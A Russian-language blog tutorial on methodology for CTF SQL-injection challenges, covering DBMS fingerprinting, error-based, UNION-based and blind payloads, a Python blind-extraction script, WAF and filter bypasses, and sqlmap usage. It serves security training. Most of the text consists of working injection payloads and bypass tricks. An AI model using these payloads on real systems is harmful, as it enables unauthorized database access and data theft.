Главная / Блог / SQL-инъекция CTF: от error-based пейлоада до извлечения флага через UNION и blind-технику

12 мин.00

SQL-инъекция CTF: от error-based пейлоада до извлечения флага через UNION и blind-технику

SQL-инъекция CTF: от error-based пейлоада до извлечения флага через UNION и blind-технику

SQL-инъекция CTF: от error-based пейлоада до извлечения флага через UNION и blind-технику

На разборе после очередного CTF подсчитали: из восьми веб-задач пять построены на SQL-инъекциях — от обхода аутентификации SQL через форму логина до слепой инъекции в cookie. Трое новичков застряли на ' OR 1=1-- и не сдвинулись за три часа. Опытные за это же время прошли полные цепочки: определение СУБД, подбор столбцов, извлечение метаданных, забор флага. Разница не в знании SQL — в наличии методологии. Здесь — системный подход к решению CTF-задач на SQL-инъекцию: какой SQL-инъекция пейлоад пробовать первым, как переключаться между техниками и когда автоматизировать ручную эксплуатацию SQL.

Место SQL-инъекции в цепочке CTF-атаки

SQL-инъекция в классификации MITRE ATT&CK — техника Exploit Public-Facing Application (T1190, Initial Access). Атакующий находит точку ввода в веб-приложении и через неё добирается до базы данных — тактика Collection, техника Databases (T1213.006). В продвинутых задачах инъекция ведёт к чтению файлов (Data from Local System, T1005) или закреплению через SQL Stored Procedures (T1505.001, Persistence). По классификации OWASP — A03:2021, Injection. Подробнее — в нашем руководстве по пентест веб-приложений.

В CTF цепочка короче реального пентеста, но логика та же:

  1. Разведка — найти поле ввода, которое общается с БД (форма, параметр URL, cookie, HTTP-заголовок)
  2. Подтверждение — вызвать аномалию через спецсимвол
  3. Классификация — error-based, UNION-based или blind
  4. Извлечение — структура БД, затем целевые данные (флаг)

Каждый следующий шаг зависит от результата предыдущего. Именно поэтому SQL-инъекция в CTF — структурированная задача, а не гадание на кофейной гуще. Понимаешь последовательность — перестаёшь тыкать пейлоады наугад.

Как определить тип SQL-инъекции: decision tree для веб-задач CTF

Требования к окружению

Перед началом подготовьте рабочее пространство:

  • ОС: Kali Linux, Parrot OS или любой Linux-дистрибутив; Windows подходит, но со скриптами менее удобно
  • RAM: от 4 ГБ, рекомендуется 8 ГБ при работе через VM
  • Инструменты: Burp Suite Community Edition (Java 17+) для перехвата HTTP-запросов, Python 3.8+ для автоматизации blind-инъекций
  • Опционально: sqlmap (последний стабильный релиз), curl, расширение HackBar для браузера
  • Сеть: стабильное соединение до CTF-платформы — для time-based blind SQLi критична предсказуемость задержек

Первичная разведка: определяем СУБД и точку входа

Алгоритм, который я применяю на каждой веб-задаче CTF:

Шаг 1 — реакция на спецсимвол. Вставляем одинарную кавычку ' в параметр. Три исхода:

  • Ошибка БД в ответе (текст вроде You have an error in your SQL syntax) → вероятен error-based SQLi
  • Поведение страницы изменилось без текста ошибки (исчез контент, другой HTTP-код) → boolean-based blind или UNION-based
  • Ничего не изменилось → пробуем time-based: пейлоад ' AND SLEEP(5)-- для MySQL или '; SELECT pg_sleep(5)-- для PostgreSQL. Задержка ответа = time-based blind SQLi

Шаг 2 — определение СУБД. Синтаксис пейлоадов зависит от конкретной СУБД. По данным SQL Injection Cheat Sheet от Invicti, именно разница в синтаксисе — главная причина, почему универсальные пейлоады не работают. Быстрые тесты:

  • URL-кодированный %23 работает как комментарий → MySQL/MariaDB (символ # без кодирования в URL не передаётся серверу). Для подтверждения дополнительно проверяйте @@version
  • Конструкция ' AND '1' с двойной вертикальной чертой (оператор конкатенации в PostgreSQL и SQLite) возвращает строку → PostgreSQL или SQLite
  • Результат ' AND @@version>0-- → MySQL или MSSQL
  • Запрос ' UNION SELECT sqlite_version()-- успешен → SQLite

Сводная таблица ключевых различий СУБД в контексте CTF:

Функция MySQL PostgreSQL SQLite
Комментарий строки -- (пробел обязателен), # (%23), /* */ --, /* */ (вложенные) --, /* */
Версия @@version version() sqlite_version()
Конкатенация CONCAT(a,b) Оператор конкатенации строк Аналогично PostgreSQL
Задержка SLEEP(N) pg_sleep(N) Нет нативной функции
Подстрока SUBSTRING(), MID() SUBSTRING() SUBSTR()
Метаданные таблиц information_schema.tables information_schema.tables sqlite_master

Шаг 3 — выбор техники. Ошибки видны → error-based (самая быстрая). Данные из запроса отображаются на странице → UNION-based. Ни ошибок, ни данных → blind (boolean или time). Правильная классификация на этом шаге экономит 30-40 минут на задаче.

Error-based SQLi: извлечение данных через ошибки СУБД

[Применимо: CTF-задачи с отображением ошибок БД, конфигурации без подавления verbose errors]

Error-based SQL-инъекция — самый быстрый путь к флагу, когда приложение выплёвывает тексты ошибок. Как описывает PortSwigger в исследовании blind SQL injection, функция CAST() превращает слепую инъекцию в видимую: попытка привести строку к integer заставляет СУБД вернуть содержимое строки прямо в тексте ошибки.

Техники для MySQL. Основные функции — extractvalue() и updatexml(). Обе ожидают корректное XPath-выражение и ругаются, если получают что-то другое. Именно это используется для извлечения данных SQL-инъекцией:

  • Версия СУБД: ' AND extractvalue(1, concat(0x7e, (SELECT version())))--
  • Имя первой таблицы: ' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1)))--
  • Флаг: ' AND extractvalue(1, concat(0x7e, (SELECT flag FROM flag)))--

Механика: функция ожидает XPath вроде /root/node. Когда вместо этого получает строку ~users — выбрасывает ошибку XPATH syntax error: '~users'. Имя таблицы — прямо в тексте ошибки. Красота.

Альтернатива — техника через FLOOR(RAND(0)*2) и GROUP BY, описанная в руководстве pentest-tools.com: запрос ' AND (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)-- возвращает версию в ошибке Duplicate entry '10.1.36-MariaDB#0'. Тут тонкость: RAND(0) с фиксированным seed даёт детерминированную последовательность, FLOOR(...*2) округляет до 0 или 1, и при GROUP BY возникает дублирование ключа во временной таблице — без seed=0 техника нестабильна и может сработать через раз.

Для PostgreSQL стандартный приём через CAST(): пейлоад ' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)-- вернёт ERROR: invalid input syntax for type integer: "users".

Ограничения error-based SQLi. Функции extractvalue() и updatexml() в MySQL возвращают максимум 32 символа. Для длинных значений придётся резать через SUBSTRING(): конструкция extractvalue(1, concat(0x7e, substring((SELECT flag FROM flag), 10, 32))) извлекает символы порциями. Техника мёртвая, если приложение перехватывает исключения БД и показывает generic-ответ (HTTP 500 без деталей). Нет ошибок в ответе — переключайтесь на UNION или blind.

UNION-based SQL-инъекция: прямой путь к флагу в CTF

[Применимо: задачи, где результат SELECT отображается на странице — каталоги, профили, поиск]

UNION-based инъекция — рабочая лошадка CTF-задач на SQL-инъекции. Оператор UNION присоединяет к оригинальному запросу произвольный SELECT, и результат вываливается на страницу. По данным Acunetix, UNION-based SQLi позволяет объединить результаты нескольких SELECT-запросов в единый HTTP-ответ.

Определение количества столбцов

Без точного совпадения числа столбцов UNION выбросит ошибку. Два метода:

ORDER BY (бинарный поиск). Последовательно увеличиваем номер: ' ORDER BY 1-- → ОК, ' ORDER BY 5-- → ошибка, ' ORDER BY 3-- → ОК, ' ORDER BY 4-- → ошибка. Три столбца. Находим за log₂(N) запросов.

UNION SELECT NULL. Добавляем NULL-значения: ' UNION SELECT NULL-- → ошибка, ' UNION SELECT NULL, NULL-- → ошибка, ' UNION SELECT NULL, NULL, NULL-- → результат. Три столбца. Медленнее ORDER BY, но надёжнее в контекстах, где ORDER BY синтаксически запрещён.

После определения количества столбцов нужно найти, какие из них выводятся на страницу. Запрос -1' UNION SELECT 'aaa', 'bbb', 'ccc'-- покажет, где появляются строки — именно в эти позиции подставляем подзапросы.

Извлечение структуры и флага через SQLi

Полная цепочка UNION-based извлечения — три шага. Допустим, MySQL, три столбца, второй отображается:

-- Шаг 1: таблицы текущей БД
-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3
  FROM information_schema.tables WHERE table_schema=database()--
-- Шаг 2: столбцы таблицы flag
-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3
  FROM information_schema.columns WHERE table_name='flag'--
-- Шаг 3: забираем флаг через SQLi
-1' UNION SELECT 1, flag, 3 FROM flag--

Для SQLite вместо information_schema используется sqlite_master: запрос -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- вернёт CREATE TABLE со всеми именами столбцов.

Ограничения UNION-based. Не работает, если вывод запроса не отображается на странице — тогда нечего «юнионить». В PostgreSQL строже типизация столбцов — может потребоваться CAST(1 AS text). WAF-фильтры на слово UNION обходятся через смену регистра (uNiOn) или inline-комментарии (UN/**/ION).

Blind SQL-инъекция: boolean-based и time-based техники

[Применимо: формы логина без вывода данных, cookie-based инъекции, задачи без ошибок]

Blind SQL-инъекция — самый нудный тип задач в CTF. Приложение не возвращает ни результат запроса, ни ошибку — только косвенные признаки. Как отмечает PortSwigger, многие реальные уязвимости являются слепыми, и техники UNION к ним неприменимы.

Boolean-based blind SQLi

Принцип: формулируем вопрос TRUE/FALSE и определяем ответ по поведению приложения. Классический пример из PortSwigger Web Academy — cookie TrackingId:

  • xyz' AND '1'='1 → страница содержит «Welcome back» (TRUE)
  • xyz' AND '1'='2 → «Welcome back» отсутствует (FALSE)

Извлекаем данные посимвольно. Чтобы определить первый символ пароля, применяем бинарный поиск: пейлоад xyz' AND SUBSTRING((SELECT password FROM users WHERE username='Administrator'),1,1)>'m — если TRUE, символ в диапазоне n-z. Каждый символ находится за 6-8 запросов.

Более мощная техника — conditional errors через CASE WHEN, описанная PortSwigger для случаев, когда контент страницы не меняется, но приложение по-разному обрабатывает ошибки БД. Пейлоад xyz' AND (SELECT CASE WHEN (SUBSTRING(password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM users)='a вызывает деление на ноль (ошибка 500) при TRUE и нормальный ответ при FALSE. Этот SQL-инъекция пейлоад работает даже там, где классический boolean-based бессилен.

Time-based blind SQLi

Последнее средство — когда ни контент, ни HTTP-код, ни заголовки не меняются. Если условие TRUE, база засыпает на N секунд:

  • MySQL: ' AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s', SLEEP(5), 0)--
  • PostgreSQL: ' AND (SELECT CASE WHEN SUBSTRING(flag,1,1)='s' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM flag)--

Ограничения time-based blind SQLi. Крайне медленная техника. На перегруженных CTF-серверах базовое время ответа «плавает» в диапазоне 1-3 секунды — задержку SLEEP приходится ставить от 5 секунд. Флаг из 30 символов при 7 запросах на символ и 5-секундном SLEEP — 17 минут чистого ожидания. Для SQLite нативной функции задержки нет вообще. Боль.

Автоматизация blind-инъекции

Перебирать символы вручную — верный путь к проигрышу по времени. Минимальный скрипт для boolean-based извлечения данных SQL-инъекцией:

import requests

url, flag = "http://target.ctf/login", ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789{}_-"
for pos in range(1, 50):
    found = False
    for ch in charset:
        payload = f"admin' AND SUBSTRING((SELECT flag FROM flag),{pos},1)='{ch}'--"
        r = requests.post(url, data={"username": payload, "password": "x"})
        if "Welcome" in r.text:
            flag += ch; print(f"[+] {flag}"); found = True; break
    if not found: break
print(f"Flag: {flag}")

Для time-based замените проверку if "Welcome" in r.text на if r.elapsed.total_seconds() > 4. Для ускорения в 3-5 раз замените прямой перебор символов бинарным поиском по ASCII-коду — вместо проверки каждого символа проверяйте > chr(mid) и делите диапазон пополам.

Обход фильтров и WAF в CTF-задачах

Авторы CTF усложняют задачи фильтрацией ввода. В терминах MITRE ATT&CK обход фильтров — Command Obfuscation (T1027.010). Вот приёмы, которые встречаются постоянно:

Пробелы заблокированы. Замена на inline-комментарий /**/: пейлоад SELECT/**/flag/**/FROM/**/flag работает в MySQL, PostgreSQL, SQLite. Альтернативы: %09 (табуляция) или %0a (перенос строки) в URL-кодировке.

Ключевые слова SELECT/UNION. Если фильтр case-sensitive — смена регистра: SeLeCt, uNiOn. Регулярки в CTF часто проверяют только полное совпадение в одном регистре. Лень авторов — наш шанс.

Кавычки заблокированы. Hex-кодирование строк: вместо WHERE name='admin' пишем WHERE name=0x61646d696e (MySQL). Префикс 0x указывает, что значение — hex-строка. Приём стабильно обходит регулярку /['"]+/.

Запятые заблокированы. Замена через JOIN: вместо UNION SELECT 1,2,3 — конструкция UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c. Читаемость страдает, зато работает.

Знак равенства заблокирован. Замена на LIKE: WHERE name LIKE 0x61646d696e вместо WHERE name=0x61646d696e. Или оператор IN: WHERE name IN (0x61646d696e).

MySQL-специфика: синтаксис версионных комментариев /*!50000 SELECT*/ выполняет код только на MySQL >= 5.0. По данным Invicti SQL Injection Cheat Sheet, этот синтаксис уникален для MySQL — одновременно обход фильтра и подтверждение типа СУБД. Два зайца одним пейлоадом.

sqlmap в CTF: когда оправдан и когда бесполезен

[Применимо: CTF без ограничений на инструменты, задачи с типичными точками инъекции]

sqlmap автоматизирует весь цикл: определение СУБД, перечисление баз, дамп таблиц. Базовая команда sqlmap -u "http://target.ctf/page?id=1" --dbs решает типовую инъекцию в базу данных за минуту. Для blind-задач sqlmap CTF оптимизирует число запросов и подбирает задержку — работа, которая вручную занимает 20 минут, делается за две.

Ключевые флаги: --technique=U (только UNION), --level=3 --risk=3 (расширенные пейлоады), --tamper=space2comment,randomcase (обход фильтров пробелов и регистра).

Ситуация sqlmap Почему
Типовая GET-инъекция без фильтров Оправдан Экономит 5-10 минут
Blind с длинным флагом Оправдан Автоматизирует бинарный поиск
Кастомный WAF с нестандартной логикой Не поможет Не угадает нестандартную фильтрацию
Second-order SQLi Не поможет Пейлоад и срабатывание в разных местах
Инъекция в JSON/Header/Cookie С осторожностью Нужна ручная конфигурация через -p и --data
Обучающий CTF с writeup-требованием Не стоит «Запустил sqlmap» не объясняет механику

Ограничение: на платформах с rate-limiting sqlmap может исчерпать лимит запросов до обнаружения уязвимости. Проверьте ограничения перед запуском.

У CTF есть слепое пятно, о котором не пишут в writeup-ах. Задачи на SQL-инъекцию учат эксплуатировать уже найденную точку ввода. В реальном пентесте бо́льшая часть работы — обнаружение инъекции, а не её эксплуатация. Форма логина в CTF очевидна — на реальном сайте уязвимый параметр может прятаться в REST API, GraphQL-переменной или HTTP-заголовке X-Forwarded-For. CTF тренируют технику, но не тренируют разведку. И это фундаментальный разрыв.

Второй разрыв — инъекция в вакууме. На CTF забираешь флаг и идёшь к следующей задаче. На пентесте SQL-инъекция — точка входа, за которой эскалация: чтение файлов через LOAD_FILE(), запись web-shell через INTO OUTFILE, выполнение команд через xp_cmdshell (MSSQL). Довести инъекцию от чтения данных до контроля над сервером — отдельный навык, который CTF формата Jeopardy почти не проверяют.

И третье: новички переоценивают сложность blind-инъекций и недооценивают обход фильтров. Blind — механическая работа, которую решает скрипт на десять строк. WAF-обход с нестандартной логикой фильтрации требует понимания парсинга SQL на уровне конкретной СУБД — тут чтение документации и чит-шитов даёт больше, чем решение сотни однотипных задач. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT эту цепочку проходят в лабах от разведки до закрепления.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...